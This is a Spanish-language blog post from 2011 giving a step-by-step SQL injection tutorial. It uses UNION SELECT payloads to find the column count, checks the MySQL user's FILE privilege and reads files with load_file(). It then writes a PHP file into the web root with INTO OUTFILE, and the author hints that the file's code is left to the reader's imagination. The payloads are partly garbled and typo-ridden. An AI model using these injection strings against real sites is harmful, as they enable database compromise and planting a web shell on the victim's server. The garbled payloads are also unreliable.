martes, 1 de marzo de 2011

SQL Injection (OutFile)

SQL inject Outfile:

Sabemos que en una SQL inject nos tiene que botar un error

Error Sintaxis SQL in : /home/xxx/htdocs/vuln.php in line x


Y con un target parecido a este

http://target.com/path/vuln.php?id=x'


Buscamos tablas hasta que nos quite el error o nos saque el numero de la tabla

-x union all select 1--
-x union all select 1,2--
-x union all select 1,2,3--
-x union all select 1,2,3,4--
-x union all select 1,2,3,4,5--
<- Aqui nos devolvio el numero de la tabla


Imaginamos que la tabla esta en la 5 y nos salto el numero 2..

Usamos user() en el "2" para saber el actual usuario y el host.

-x union all select 1,user(),3,4,5--

Nos bota root@localhost

-x union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
nos bota rootlocalhost

El usuarios tiene permisos File, podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...


devemos de tener en cuanta de que para poder hacer uotup tenemos que saber que la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y acegurarnos que el directorio tenga permiso de escritura.

Tenemos que saber donde esta el directorio para poder indicar donde guardaremos nuestro archivo.


into outfile '/home/xxx/htdocs/aerchivocreado.php'--

y en el el numero 2 agregamos

'<@? phpinfo(); ?@>' // sin @

En resultado

Salida:

-x union all select1,'',3,4,5 outfile '/home/xxx/xxx/aerchivocreado.php'--


Seria Igual a:



-x+union+all+select1,'',3,4,5+outfile+'/home/xxx/xxx/aerchivocreado.php'--


Les dejo a su imaginación el codgo del archivo php


Gretz: Yoyahack

No hay comentarios:

Publicar un comentario